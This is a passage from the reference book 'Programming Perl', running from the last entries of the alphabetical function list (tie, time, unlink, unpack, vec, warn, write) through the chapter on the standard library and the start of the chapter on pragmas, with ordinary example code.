This function returns the current position of the readdir routines on DIRHANDLE. This value may be given to seekdir to access a particular location in a directory. The function has the same caveats about possible directory compaction as the corresponding system library routine. This function might not be implemented everywhere that readdir is. Even if it is, no calculation may be done with the return value. It's just an opaque value, meaningful only to seekdir.

29.2.178. tie

tie VARIABLE, CLASSNAME, LIST
This function binds a variable to a package class that will provide the implementation for the variable. VARIABLE is the variable (scalar, array, or hash) or typeglob (representing a filehandle) to be tied. CLASSNAME is the name of a class implementing objects of an appropriate type.

Any additional arguments are passed to the appropriate constructor method of the class, meaning one of TIESCALAR, TIEARRAY, TIEHASH, or TIEHANDLE. (If the appropriate method is not found, an exception is raised.) Typically, these are arguments such as might be passed to the dbm_open(3) function of C, but their meaning is package dependent. The object returned by the constructor is in turn returned by the tie function, which can be useful if you want to access other methods in CLASSNAME. (The object can also be accessed through the tied function.) So, a class for tying a hash to an ISAM implementation might provide an extra method to traverse a set of keys sequentially (the "S" of ISAM), since your typical DBM implementation can't do that.

Functions such as keys and values may return huge list values when used on large objects like DBM files. You may prefer to use the each function to iterate over such. For example:

use NDBM_File;
tie %ALIASES, "NDBM_File", "/etc/aliases", 1, 0
    or die "Can't open aliases: $!\n";
while (($key,$val) = each %ALIASES) {
    print $key, ' = ', $val, "\n";
}
untie %ALIASES;
A class implementing a hash should provide the following methods:
TIEHASH CLASS, LIST
FETCH SELF, KEY
STORE SELF, KEY, VALUE
DELETE SELF, KEY
CLEAR SELF
EXISTS SELF, KEY
FIRSTKEY SELF
NEXTKEY SELF, LASTKEY
DESTROY SELF
A class implementing an ordinary array should provide the following methods:
TIEARRAY CLASS, LIST
FETCH SELF, SUBSCRIPT
STORE SELF, SUBSCRIPT, VALUE
FETCHSIZE SELF
STORESIZE SELF, COUNT
CLEAR SELF
PUSH SELF, LIST
POP SELF
SHIFT SELF
UNSHIFT SELF, LIST
SPLICE SELF, OFFSET, LENGTH, LIST
EXTEND SELF, COUNT
DESTROY SELF
A class implementing a scalar should provide the following methods:
TIESCALAR CLASS, LIST
FETCH SELF,
STORE SELF, VALUE
DESTROY SELF
A class implementing a filehandle should have the following methods:
TIEHANDLE CLASS, LIST
READ SELF, SCALAR, LENGTH, OFFSET
READLINE SELF
GETC SELF
WRITE SELF, SCALAR, LENGTH, OFFSET
PRINT SELF, LIST
PRINTF SELF, FORMAT, LIST
CLOSE SELF
DESTROY SELF
Not all methods indicated above need be implemented: the Tie::Hash, Tie::Array, Tie::Scalar, and Tie::Handle modules provide base classes that have reasonable defaults. See Chapter 14, "Tied Variables", for a detailed discussion of all these methods. Unlike dbmopen, the tie function will not use or require a module for you--you need to do that explicitly yourself. See the DB_File and Config modules for interesting tie implementations.

29.2.179. tied

tied VARIABLE
This function returns a reference to the object underlying the scalar, array, hash, or typeglob contained in VARIABLE (the same value that was originally returned by the tie call that bound the variable to a package). It returns the undefined value if VARIABLE isn't tied to a package. So, for example, you can use:
ref tied %hash
to find out which package your hash is tied to. (Presuming you've forgotten.)

29.2.180. time

time
This function returns the number of nonleap seconds since "the epoch", traditionally 00:00:00 on January 1st, 1970, UTC.[18] The returned value is suitable for feeding to gmtime and localtime, for comparison with file modification and access times returned by stat, and for feeding to utime.
$start = time();
system("some slow command");
$end   = time();
if ($end - $start > 1) {
    print "Program started: ", scalar localtime($start), "\n";
    print "Program ended:   ", scalar localtime($end), "\n";
}

[18]Not to be confused with the "epic", which is about the making of Unix. (Other operating systems may have a different epoch, not to mention a different epic.)

29.2.181. times

times
In list context, this function returns a four-element list giving the user and system CPU times, in seconds (probably fractional), for this process and terminated children of this process.
($user, $system, $cuser, $csystem) = times();
printf "This pid and its kids have consumed %.3f seconds\n",
            $user + $system + $cuser + $csystem;
In scalar context, returns just the user time. For example, to time the execution speed of a section of Perl code:
$start = times();
...
$end = times();
printf "that took %.2f CPU seconds of user time\n",
        $end - $start;

29.2.182. tr///

tr///
y///
This is the transliteration (also called translation) operator, which is like the y/// operator in the Unix sed program, only better, in everybody's humble opinion. See Chapter 5, "Pattern Matching".

29.2.183. truncate

truncate FILEHANDLE, LENGTH
truncate EXPR, LENGTH
This function truncates the file opened on FILEHANDLE, or named by EXPR, to the specified length. The function raises an exception if ftruncate(2) or an equivalent isn't implemented on your system. (You can always truncate a file by copying the front of it, if you have the disk space.) The function returns true on success, undef otherwise.

29.2.184. uc [taintgray]

uc EXPR
uc
This function returns an uppercased version of EXPR. This is the internal function implementing the \U escape in double-quoted strings. Perl will try to do the right thing with respect to your current locale settings, but we're still working out how that interacts with Unicode. See the perllocalle manpage for the latest guess. In any event, when Perl uses the Unicode tables, uc translates to uppercase rather than to titlecase. See ucfirst for titlecase translation.

29.2.185. ucfirst [taintgray]

ucfirst EXPR
ucfirst
This function returns a version of EXPR with the first character capitalized (titlecased in "Unicodese"), and other characters left alone. This is the internal function implementing the \u escape in double-quoted strings. Your current LC_CTYPE locale may be respected if you use locale and your data doesn't look like Unicode, but we make no guarantees at this time.

To force the initial character to titlecase and everything else to lowercase, use:

ucfirst lc $word
which is equivalent to "\u\L$word".

29.2.186. umask

umask EXPR
umask
This function sets the umask for the process and returns the old one using the umask(2) syscall. Your umask tells the operating system which permission bits to disallow when creating a new file, including files that happen to be directories. If EXPR is omitted, the function merely returns the current umask. For example, to ensure that the "user" bits are allowed, and the "other" bits disallowed, try something like:
umask((umask() & 077) | 7);   # don't change the group bits
Remember that a umask is a number, usually given in octal; it is not a string of octal digits. See also oct, if all you have is a string. Remember also that the umask's bits are complemented compared to ordinary permissions.

The Unix permission rwxr-x--- is represented as three sets of three bits, or three octal digits: 0750 (the leading 0 indicates octal and doesn't count as one of the digits). Since the umask's bits are flipped, it represents disabled permissions bits. The permission (or "mode") values you supply to mkdir or sysopen are modified by your umask, so even if you tell sysopen to create a file with permissions 0777, if your umask is 0022, the file is created with permissions 0755. If your umask were 0027 (group can't write; others can't read, write, or execute), then passing sysopen a MASK of 0666 would create a file with mode 0640 (since 0666 & ~0027 is 0640).

Here's some advice: supply a creation mode of 0666 for regular files (in sysopen) and one of 0777 both for directories (in mkdir) and for executable files. This gives users the freedom of choice: if they want protected files, they choose process umasks of 022, 027, or even the particularly antisocial mask of 077. Programs should rarely if ever make policy decisions better left to the user. The exception to this rule is programs that write files that should be kept private: mail files, web browser cookies, .rhosts files, and so on.

If umask(2) is not implemented on your system and you are trying to restrict your own access (that is, if EXPR& 0700) > 0), you'll trigger a run-time exception. If umask(2) is not implemented and you are not trying to restrict your own access, the function simply returns undef.

29.2.187. undef

undef EXPR
undef
undef is the name by which we refer to the abstraction known as "the undefined value". It also conveniently happens to be the name of a function that always returns the undefined value. We happily confuse the two.

Coincidentally, the undef function can also explicitly undefine an entity if you supply its name as an argument. The EXPR argument, if specified, must be an lvalue. Hence you may only use this on a scalar value, an entire array or hash, a subroutine name (using the & prefix), or a typeglob. Any storage associated with the object will be recovered for reuse (though not returned to the system, for most operating systems). The undef function will probably not do what you expect on most special variables. Using it on a read-only variable like $1 raises an exception.

The undef function is a unary operator, not a list operator, so you can only undefine one thing at a time. Here are some uses of undef as a unary operator:

undef $foo;
undef $bar{'blurfl'};   # Different from delete $bar{'blurfl'};
undef @ary;
undef %hash;
undef &mysub;
undef *xyz;             # destroys $xyz, @xyz, %xyz, &xyz, etc.
Without an argument, undef is just used for its value:
select(undef, undef, undef, $naptime);

return (wantarray ? () : undef) if $they_blew_it;
return if $they_blew_it;  # same thing
You may use undef as a placeholder on the left side of a list assignment, in which case the corresponding value from the right side is simply discarded. Apart from that, you may not use undef as an lvalue.
($a, $b, undef, $c) = &foo;       # Ignore third value returned
Also, do not try to compare anything to undef--it doesn't do what you think. All it does is compare against 0 or the null string. Use the defined function to determine if a value is defined.

29.2.188. unlink

unlink LIST
unlink
This function deletes a list of files.[19] The function returns the number of filenames successfully deleted. Some sample examples:
$count = unlink 'a', 'b', 'c';
unlink @goners;
unlink glob("*.orig");
The unlink function will not delete directories unless you are superuser and the supply -U command-line option to Perl. Even if these conditions are met, be warned that unlinking a directory can inflict Serious Damage on your filesystem. Use rmdir instead.

[19] Actually, under a POSIX filesystem, it removes the directory entries (filenames) that refer to the real files. Since a file may be referenced (linked) from more than one directory, the file isn't removed until the last reference to it is removed.

Here's a simple rm command with very simple error checking:

#!/usr/bin/perl
@cannot = grep {not unlink} @ARGV;
die "$0: could not unlink @cannot\n" if @cannot;

29.2.189. unpack

unpack TEMPLATE, EXPR
This function does the reverse of pack: it expands a string (EXPR) representing a data structure into a list of values according to the TEMPLATE and returns those values. In scalar context, it can be used to unpack a single value. The TEMPLATE here has much the same format as it has in the pack function--it specifies the order and type of the values to be unpacked. See pack for a detailed description of TEMPLATE. An invalid element in the TEMPLATE, or an attempt to move outside the string with the x, X, or @ formats, raises an exception.

The string is broken into chunks described by the TEMPLATE. Each chunk is converted separately to a value. Typically, the bytes of the string either are the result of a pack, or represent a C structure of some kind.

If the repeat count of a field is larger than the remainder of the input string allows, the repeat count is silently decreased. (Normally, you'd use a repeat count of * here, anyway.) If the input string is longer than what TEMPLATE describes, the rest of the string is ignored.

The unpack function is also useful for plain text data, too, not just binary data. Imagine that you had a data file that contained records that looked like this:

1986 Ender's Game           Orson Scott Card
1985 Neuromancer            William Gibson
1984 Startide Rising        David Brin
1983 Foundation's Edge      Isaac Asimov
1982 Downbelow Station      C. J. Cherryh
1981 The Snow Queen         Joan D. Vinge
you can't use split to parse out the fields because they have no distinct separator. Instead, fields are determined by their byte-offset into the record. So even though this is a regular text record, because it's in a fixed format, you want to use unpack to pull it apart:
while (<>) {
        ($year, $title, $author) = unpack("A4 x A23 A*", $_);
        print "$author won ${year}'s Hugo for $title.\n";
}
(The reason we wrote ${year}'s there is because Perl would have treated $year's as meaning $year::s.)

Here's a complete uudecode program:

#!/usr/bin/perl
$_ = <> until ($mode,$file) = /^begin\s*(\d*)\s*(\S*)/;
open(OUT,"> $file") if $file ne "";
while (<>) {
    last if /^end/;
    next if /[a-z]/;
    next unless int((((ord() - 32) & 077) + 2) / 3) ==
                int(length() / 4);
    print OUT unpack "u", $_;
}
chmod oct($mode), $file;
In addition to fields allowed in pack, you may prefix a field with %number to produce a simple number-bit additive checksum of the items instead of the items themselves. Default is a 16-bit checksum. The checksum is calculated by summing numeric values of expanded values (for string fields, the sum of ord($char) is taken, and for bit fields, the sum of zeros and ones). For example, the following computes the same number as the SysV sum(1) program:
undef $/;
$checksum = unpack ("%32C*", <>) % 65535;
The following efficiently counts the number of set bits in a bitstring:
$setbits = unpack "%32b*", $selectmask;
Here's a simple BASE64 decoder:
while (<>) {
    tr#A-Za-z0-9+/##cd;                   # remove non-base64 chars
    tr#A-Za-z0-9+/# -_#;                  # convert to uuencoded format
    $len = pack("c", 32 + 0.75*length);   # compute length byte
    print unpack("u", $len . $_);         # uudecode and print
}

29.2.190. unshift

unshift ARRAY, LIST
This function does the opposite of shift. (Or the opposite of push, depending on how you look at it.) It prepends LIST to the front of the array, and returns the new number of elements in the array:
unshift @ARGV, '-e', $cmd unless $ARGV[0] =~ /^-/;
Note the LIST is prepended whole, not one element at a time, so the prepended elements stay in the same order. Use reverse to do the reverse.

29.2.191. untie

untie VARIABLE
Breaks the binding between the variable or typeglob contained in VARIABLE and the package that it's tied to. See tie, and all of Chapter 14, "Tied Variables", but especially the section "A Subtle Untying Trap".

29.2.192. use

use MODULE VERSION LIST
use MODULE VERSION ()
use MODULE VERSION
use MODULE LIST
use MODULE ()
use MODULE
use VERSION
The use declaration loads in a module, if it hasn't been loaded before, and imports subroutines and variables into the current package from the named module. (Technically speaking, it imports some semantics into the current package from the named module, generally by aliasing certain subroutine or variable names into your package.) Most use declarations looks like this:
use MODULE LIST;
That is exactly equivalent to saying:
BEGIN { require MODULE; import MODULE LIST; }
The BEGIN forces the require and import to happen at compile time. The require makes sure the module is loaded into memory if it hasn't been yet. The import is not a built-in--it's just an ordinary class method call into the package named by MODULE to tell that module to pull the list of features back into the current package. The module can implement its import method any way it likes, though most modules just choose to derive their import method via inheritance from the Exporter class that is defined in the Exporter module. See Chapter 11, "Modules", and the Exporter module for more information. If no import method can be found, then the call is skipped without murmur.

If you don't want your namespace altered, explicitly supply an empty list:

use MODULE ();
That is exactly equivalent to the following:
BEGIN { require MODULE; }
If the first argument to use is a version number like 5.6.2, the currently executing version of Perl must be at least as modern as the version specified. If the current version of Perl is less than VERSION, an error message is printed and Perl exits immediately. This is useful for checking the current Perl version before loading library modules that depend on newer versions, since occasionally we have to "break" the misfeatures of older versions of Perl. (We try not to break things any more than we have to. In fact, we often try to break things less than we have to.)

Speaking of not breaking things, Perl still accepts old version numbers of the form:

use 5.005_03;
However, in order to align better with industry standards, Perl 5.6 now accepts, (and we prefer to see) the three-tuple form:
use 5.6.0;   # That's version 5, subversion 6, patchlevel 0.
If the VERSION argument is present after MODULE, then the use will call the VERSION method in class MODULE with the given VERSION as an argument. Note that there is no comma after VERSION! The default VERSION method, which is inherited from the UNIVERSAL class, croaks if the given version is larger than the value of the variable $Module::VERSION.

See Chapter 32, "Standard Modules" for a list of standard modules.

Because use provides a wide-open interface, pragmas (compiler directives) are also implemented via modules. Examples of currently implemented pragmas include:

use autouse 'Carp' => qw(carp croak);
use bytes;
use constant PI => 4 * atan2(1,1);
use diagnostics;
use integer;
use lib '/opt/projects/spectre/lib';
use locale;
use sigtrap qw(die INT QUIT);
use strict  qw(subs vars refs);
use warnings "deprecated";
Many of these pragmatic modules import semantics into the current lexical scope. (This is unlike ordinary modules, which only import symbols into the current package, which has little relation to the current lexical scope other than that the lexical scope is being compiled with that package in mind. That is to say...oh, never mind, see Chapter 11, "Modules".)

There's a corresponding declaration, no, that "unimports" any meanings originally imported by use that have since become, er, unimportant:

no integer;
no strict 'refs';
no utf8;
no warnings "unsafe";
See Chapter 31, "Pragmatic Modules" for a list of standard pragmas.

29.2.193. utime

utime LIST
This function changes the access and modification times on each file of a list of files. The first two elements of the list must be the numerical access and modification times, in that order. The function returns the number of files successfully changed. The inode change time of each file is set to the current time. Here's an example of a touch command that sets the modification date of the file (assuming you're the owner) to about a month in the future:
#!/usr/bin/perl
# montouch - post-date files now + 1 month
$day = 24 * 60 * 60;            # 24 hours of seconds
$later = time() + 30 * $day;    # 30 days is about a month
utime $later, $later, @ARGV;
and here's a more sophisticated touch-like command with a smattering of error checking:
#!/usr/bin/perl
# montouch - post-date files now + 1 month
$later = time() + 30 * 24 * 60 * 60;
@cannot = grep {not utime $later, $later, $_} @ARGV;
die "$0: Could not touch @cannot.\n" if @cannot;
To read the times from existing files, use stat and then pass the appropriate fields through localtime or gmtime for printing.

29.2.194. values

values HASH
This function returns a list consisting of all the values in the indicated HASH. The values are returned in an apparently random order, but it is the same order as either the keys or each function would produce on the same hash. Oddly, to sort a hash by its values, you usually need to use the keys function, so see the example under keys for that.

You can modify the values of a hash using this function because the returned list contains aliases of the values, not just copies. (In earlier versions, you needed to use a hash slice for that.)

for (@hash{keys %hash}) { s/foo/bar/g }   # old way
for (values %hash)      { s/foo/bar/g }   # now changes values
Using values on a hash that is bound to a humongous DBM file is bound to produce a humongous list, causing you to have a humongous process. You might prefer to use the each function, which will iterate over the hash entries one by one without slurping them all into a single gargantuan, er, humongous list.

29.2.195. vec

vec EXPR, OFFSET, BITS
The vec function provides compact storage of lists of unsigned integers. These integers are packed as tightly as possible within an ordinary Perl string. The string in EXPR is treated as a bit string made up of some arbitrary number of elements depending on the length of the string.

OFFSET specifies the index of the particular element you're interested in. The syntaxes for reading and writing the element are the same, since vec stores or returns the value of the element depending on whether you use it in an lvalue or an rvalue context.

BITS specifies how wide each element is in bits, which must be a power of two: 1, 2, 4, 8, 16, or 32 (and also 64 on some platforms). (An exception is raised if any other value is used.) Each element can therefore contain an integer in the range 0..(2**BITS)-1. For the smaller sizes, as many elements as possible are packed into each byte. When BITS is 1, there are eight elements per byte. When BITS is 2, there are four elements per byte. When BITS is 4, there are two elements (traditionally called nybbles) per byte. And so on. Integers larger than a byte are stored in big-endian order.

A list of unsigned integers can be stored in a single scalar variable by assigning them individually to the vec function. (If EXPR is not a valid lvalue, an exception is raised.) In the following example, the elements are each 4 bits wide:

$bitstring = "";
$offset = 0;

foreach $num (0, 5, 5, 6, 2, 7, 12, 6) {
    vec($bitstring, $offset++, 4) = $num;
}
If an element off the end of the string is written to, Perl will first extend the string with sufficiently many zero bytes.

The vectors stored in the scalar variable can be subsequently retrieved by specifying the correct OFFSET.

$num_elements = length($bitstring)*2;  # 2 elements per byte

foreach $offset (0 .. $num_elements-1) {
    print vec($bitstring, $offset, 4), "\n";
}
If the selected element is off the end of the string, a value of 0 is returned.

Strings created with vec can also be manipulated with the logical operators |, &, ^, and ~. These operators will assume that a bit string operation is desired when both operands are strings. See the examples of this in Chapter 3, "Unary and Binary Operators", in the section "Bitwise Operators".

If BITS == 1, a bitstring can be created to store a series of bits all in one scalar. The ordering is such that vec($bitstring,0,1) is guaranteed to go into the lowest bit of the first byte of the string.

@bits = (0,0,1,0, 1,0,1,0, 1,1,0,0, 0,0,1,0);

$bitstring = "";
$offset = 0;

foreach $bit (@bits) {
    vec($bitstring, $offset++, 1) = $bit;
}

print "$bitstring\n";        # "TC", ie. '0x54', '0x43'
A bit string can be translated to or from a string of 1's and 0's by supplying a "b*" template to pack or unpack. Alternatively, pack can be used with a "b*" template to create the bit string from a string of 1's and 0's. The ordering is compatible with that expected by vec.
$bitstring = pack "b*", join('', @bits);
print "$bitstring\n";   # "TC", same as before
unpack can be used to extract the list of 0's and 1's from the bit string.
@bits = split(//, unpack("b*", $bitstring));
print "@bits\n";        # 0 0 1 0 1 0 1 0 1 1 0 0 0 0 1 0
If you know the exact length in bits, it can be used in place of the "*".

See select for additional examples of using bitmaps generated with vec. See pack and unpack for higher-level manipulation of binary data.

29.2.196. wait

wait
This function waits for a child process to terminate and returns the PID of the deceased process, or -1 if there are no child processes (or on some systems, if child processes are being automatically reaped). The status is returned in $? as described under system. If you get zombie child processes, you should be calling this function, or waitpid.

If you expected a child and didn't find it with wait, you probably had a call to system, a close on a pipe, or backticks between the fork and the wait. These constructs also do a wait(2) and may have harvested your child process. Use waitpid to avoid this problem.

29.2.197. waitpid

waitpid PID, FLAGS
This function waits for a particular child process to terminate and returns the PID when the process is dead, -1 if there are no child processes, or 0 if the FLAGS specify nonblocking and the process isn't dead yet. The status of the dead process is returned in $? as described under system. To get valid flag values, you'll need to import the ":sys_wait_h" import tag group from the POSIX module. Here's an example that does a nonblocking wait for all pending zombie processes.
use POSIX ":sys_wait_h";
do {
    $kid = waitpid(-1,&WNOHANG);
} until $kid == -1;
On systems that implement neither the waitpid(2) nor wait4(2) syscall, FLAGS may be specified only as 0. In other words, you can wait for a specific PID there, but you can't do so in nonblocking mode.

On some systems, a return value of -1 could mean that child processes are being automatically reaped because you set $SIG{CHLD} = 'IGNORE'.

29.2.198. wantarray

wantarray
This function returns true if the context of the currently executing subroutine is looking for a list value, and false otherwise. The function returns a defined false value ("") if the calling context is looking for a scalar, and the undefined false value (undef) if the calling context isn't looking for anything; that is, if it's in void context.

Here's are examples of typical usage:

return unless defined wantarray;    # don't bother doing more
my @a = complex_calculation();
return wantarray ? @a : \@a;
See also caller. This function should really have been named "wantlist", but we named it back when list contexts were still called array contexts.

29.2.199. warn

warn LIST
warn
This function produces an error message, printing LIST to STDERR just like die, but doesn't try to exit or throw an exception. For example:
warn "Debug enabled" if $debug;
If LIST is empty and $@ already contains a value (typically from a previous eval), the string "\t...caught" is appended following $@ on STDERR. (This is similar to the way die propagates errors, except that warn doesn't propagate (reraise) the exception.) If the message string supplied is empty, the message "Warning: Something's wrong" is used.

As with die, if the strings supplied don't end in a newline, file and line number information is automatically appended. The warn function is unrelated to Perl's -w command-line option, but can be used in conjunction with it, such as when you wish to emulate built-ins:

warn "Something wicked\n" if $^W;
No message is printed if there is a $SIG{__WARN__} handler installed. It is the handler's responsibility to deal with the message as it sees fit. One thing you might want to do is promote a mere warning into an exception:
local $SIG{__WARN__} = sub {
    my $msg = shift;
    die $msg if $msg =~ /isn't numeric/;
};
Most handlers must therefore make arrangements to display the warnings that they are not prepared to deal with, by calling warn again in the handler. This is perfectly safe; it won't produce an endless loop because __WARN__ hooks are not called from inside __WARN__ hooks. This behavior differs slightly from that of $SIG{__DIE__} handlers (which don't suppress the error text, but can instead call die again to change it).

Using a __WARN__ handler provides a powerful way to silence all warnings, even the so-called mandatory ones. Sometimes you need to wrap this in a BEGIN{} block so that it can happen at compile time:

# wipe out *all* compile-time warnings
BEGIN { $SIG{__WARN__} = sub { warn $_[0] if $DOWARN } }
my $foo = 10;
my $foo = 20;          # no warning about duplicate my $foo,
                       # but hey, you asked for it!

# no compile-time or run-time warnings before here
$DOWARN = 1;           # *not* a built-in variable

# run-time warnings enabled after here
warn "\$foo is alive and $foo!";     # does show up
See the use warnings pragma for lexically scoped control of warnings. See the Carp module's carp and cluck functions for other ways to produce warning messages.

29.2.200. write

write FILEHANDLE
write
This function writes a formatted record (possibly multiline) to the specified filehandle, using the format associated with that filehandle--see the section "Format Variables" in Chapter 7, "Formats". By default the format associated with a filehandle is the one having the same name as the filehandle. However, the format for a filehandle may be changed by altering the $~ variable after you select that handle:
$old_fh = select(HANDLE);
$~ = "NEWNAME";
select($old_fh);
or by saying:
use IO::Handle;
HANDLE->format_name("NEWNAME");
Since formats are put into a package namespace, you may have to fully qualify the format name if the format was declared in a different package:
$~ = "OtherPack::NEWNAME";
Top-of-form processing is handled automatically: if there is insufficient room on the current page for the formatted record, the page is advanced by writing a form feed, a special top-of-page format is used for the new page header, and then the record is written. The number of lines remaining on the current page is in the variable $-, which can be set to 0 to force a new page on the next write. (You may need to select the filehandle first.) By default, the name of the top-of-page format is the name of the filehandle with "_TOP" appended, but the format for a filehandle may be changed altering the $^ variable after selecting that handle, or by saying:
use IO::Handle;
HANDLE->format_top_name("NEWNAME_TOP");
If FILEHANDLE is unspecified, output goes to the current default output filehandle, which starts out as STDOUT, but may be changed by the single-argument form of the select operator. If the FILEHANDLE is an expression, then the expression is evaluated to determine the actual FILEHANDLE at run time.

If a specified format or the current top-of-page format does not exist, an exception is raised.

The write function is not the opposite of read. Unfortunately. Use print for simple string output. If you looked up this entry because you wanted to bypass standard I/O, see syswrite.

29.2.201. y//

y///
The transliteration (historically, also called translation) operator, also known as tr///. See Chapter 5, "Pattern Matching".

Previous | Home | Next
29.1. Perl Functions by Category | Book Index | 30. The Standard Perl Library
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Standard Perl Library (Programming Perl)

 Programming PerlSearch this book

Chapter 30. The Standard Perl Library

Contents:

Library Science
A Tour of the Perl Library

The standard Perl distribution contains much more than just the perl executable that executes your scripts. It also includes hundreds of modules filled with reusable code. Because the standard modules are available everywhere, if you use one of them in your program, you can run your program anywhere Perl is installed, without any extra installation steps.

30.1. Library Science

Before we enumerate these modules in the following chapters, let's review a bit of the terminology we've been splattering about.

namespace

A namespace is a place to keep names so they won't be confused with names in other namespaces. This leaves you with the simpler problem of not confusing the namespaces themselves. There are two ways to avoid confusing namespaces with each other: give them unique names, or give them unique locations. Perl lets you do both: named namespaces are called packages and unnamed namespaces are called lexical scopes. Since lexical scopes can be no larger than a file, and since the standard modules are file-sized (at minimum), it follows that all module interfaces must make use of named namespaces (packages) if they're to be used by anyone outside the file.

package

A package is Perl's standard mechanism for declaring a named namespace. It's a simple mechanism for grouping together related functions and variables. Just as two directories can both contain a (different) file named fred, two different parts of a Perl program can each have its own $fred variable or &fred function. Even though these variables or functions seem to have the same name as one another, those names reside in distinct namespaces managed by the package declaration. Package names are used to identify both modules and classes, as described in Chapter 11, "Modules", and in Chapter 12, "Objects".

library

The term library is unfortunately rather overloaded in Perl culture. These days we normally use the term to mean the entire set of Perl modules installed on your system.

Historically, a Perl library was also a single file containing a collection of subroutines sharing some common purpose. Such a file often has the file extension .pl, short for "perl library". We still use that extension for random bits of Perl code that you pull in with do FILE or with require. Although it's not a full-fledged module, a library file typically declares itself to be in a distinct package so related variables and subroutines can be kept together and don't accidentally interfere with other variables in your program. There is no mandatory extension; others besides .pl sometimes occur as explained later in this chapter. These simple, unstructured library files have been largely superseded by the module.

module

A Perl module is a library file that conforms to certain specific conventions that allow one or more files implementing that module to be brought in with a single use declaration at compile time. Module filenames must always end in .pm, because the use declaration assumes it. The use declaration will also translate the package separator :: to whatever your directory separator is, so that the directory structure in your Perl library can match your package structure. Chapter 11, "Modules" describes how to create your own Perl modules.

class

A class is just a module that implements methods for objects associated with the module's package name. If you're interested in object-oriented modules, see Chapter 12, "Objects".

pragma

A pragma is just a special module that twiddles Perl's internal knobs. See Chapter 31, "Pragmatic Modules".

extension

An extension is a Perl module that, in addition to loading a .pm file, also loads a shared library implementing the module's semantics in C or C++.

program

A Perl program is code designed to be run as an independent entity; also known as a script when you don't want anyone to expect much from it, an application when it's big and complicated, an executable when its caller doesn't care what language it was written in, or an enterprise solution when it costs a fortune. Perl programs might exist as source code, bytecode, or native machine code. If it's something you might run from the command line, we'll call it a program.

Previous | Home | Next
29.2. Perl Functions in Alphabetical Order | Book Index | 30.2. A Tour of the Perl Library
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Tour of the Perl Library (Programming Perl)

 Book Home Programming PerlSearch this book

30.2. A Tour of the Perl Library

You'll save an enormous amount of time if you make the effort to familiarize yourself with the standard Perl library, because there's no reason to reinvent those particular wheels. You should be aware, however, that this collection contains a wide range of material. Although some libraries may be extremely helpful, others might be completely irrelevant to your needs. For example, if you're only writing in 100% pure Perl, those modules that support the dynamic loading of C and C++ extensions aren't going to help you much.

Perl expects to find library modules somewhere in its library "include" path, @INC. This array specifies the ordered list of directories Perl searches when you load in some library code using the keywords do, require, or use. You can easily list out those directories by calling Perl with the -V switch for Very Verbose Version information, or with this simple code:

% perl -le "print foreach @INC"
/usr/libdata/perl5/sparc-openbsd/5.00503
/usr/local/libdata/perl5/sparc-openbsd/5.00503
/usr/libdata/perl5
/usr/local/libdata/perl5
/usr/local/libdata/perl5/site_perl/sparc-openbsd
/usr/libdata/perl5/site_perl/sparc-openbsd
/usr/local/libdata/perl5/site_perl
/usr/libdata/perl5/site_perl
.
That's only one sample of possible output. Every installation of Perl uses its own paths. The important thing is that, although contents will vary depending upon your vendor's and your site's installation policy, you can rely upon all standard libraries being installed with Perl. If you want to find out where a file was actually loaded from, consult the %INC variable. For a module file, you can find exactly where Perl is getting it from with this command:
% perldoc -l MODULE
If you look through the directories in @INC and their subdirectories, you'll find several different kinds of files installed. Most have names ending in .pm, but some end in .pl, .ph, .al, or .so. The ones that most interest you are the first set, because a suffix of .pm indicates that the file is a proper Perl module. More on those in a minute.

The few files you see there ending in .pl are those old Perl libraries we mentioned earlier. They are included for compatibility with ancient releases of Perl from the 80s and early 90s. Because of this, Perl code that worked back in, say, 1990, should continue to behave properly without any fuss even if you have a modern version of Perl installed. When writing new code that makes use of the standard Perl library, you should always elect to use the .pm version over any .pl, where possible. That's because modules don't pollute your namespace the way many of the old .pl files do.

One note on the use of the .pl extension: it means Perl library, not Perl program. Although .pl is sometimes used to identify Perl programs on web servers that need to distinguish executable programs from static content in the same directory, we suggest that you use a suffix of .plx instead to indicate an executable Perl program. (Similar advice holds for operating systems that choose interpreters based on filename extensions.)

Files with extensions of .al are small pieces of larger modules will be automatically loaded when you use their parent .pm file. If you build your module layout using the standard h2xs tool that comes with Perl (and if you haven't used Perl's -A flag), the make install procedure will use the AutoLoader module to create these little .al files for you.

The .ph files were made by the standard h2ph program, a somewhat aging but still occasionally necessary tool that does its best to translate C preprocessor directives into Perl. The resulting .ph files contain constants sometimes needed by low-level functions like ioctl, fcntl, or syscall. (Nowadays most of these values are more conveniently and portably available in standard modules such as the POSIX, Errno, Fcntl, or Socket modules.) See perlinstall for how to install these optional but sometimes important components.

One last file extension you might encounter while poking around is .so (or whatever your system uses for shared libraries). These .so files are platform-dependent portions of extension modules. Originally written in C or C++, these modules have been compiled into dynamically relocatable object code. The end user doesn't need to be aware of their existence, however, because the module interface hides them. When the user code says require Module or use Module, Perl loads Module.pm and executes it, which lets the module pull in any other necessary pieces, such as Module.so or any autoloaded .al components. In fact, the module could load anything it jolly well pleases, including 582 other modules. It could download all of CPAN if it felt like it, and maybe the last two years of freshmeat.net archives.

A module is not just a static chunk of code in Perl. It's an active agent that figures out how to implement an interface on your behalf. It may follow all the standard conventions, or it may not. It's allowed to do anything to warp the meaning of the rest of your program, up to and including translating the rest of your program into SPITBOL. This sort of chicanery is considered perfectly fair as long as it's well documented. When you use such a Perl module, you're agreeing to its contract, not a standard contract written by Perl.

So you'd best read the fine print.

Previous | Home | Next
30.1. Library Science | Book Index | 31. Pragmatic Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pragmatic Modules (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 31. Pragmatic Modules

Contents:

use attributes
use autouse
use base
use blib
use bytes
use charnames
use constant
use diagnostics
use fields
use filetest
use integer
use less
use lib
use locale
use open
use overload
use re
use sigtrap
use strict
use subs
use vars
use warnings

A pragma is a special kind of module that affects the compilation phase of your program. Some pragmatic modules (or pragmata, for short (or pragmas, for shorter)) may also affect the execution phase of your program. Think of these as hints to the compiler. Because they need to be seen at compile time, they'll only work when invoked by a use or a no, because by the time a require or a do is run, compilation is long since over.

By convention, pragma names are written in all lowercase because lowercase module names are reserved for the Perl distribution itself. When writing your own modules, use at least one capital letter in the module name to avoid conflict with pragma names.

Unlike regular modules, most pragmas limit their effects to the rest of the innermost enclosing block from which they were invoked. In other words, they're lexically scoped, just like my variables. Ordinarily, the lexical scope of an outer block covers any inner block embedded within it, but an inner block may countermand a lexically scoped pragma from an outer block by using the no statement:

use strict;
use integer;
{
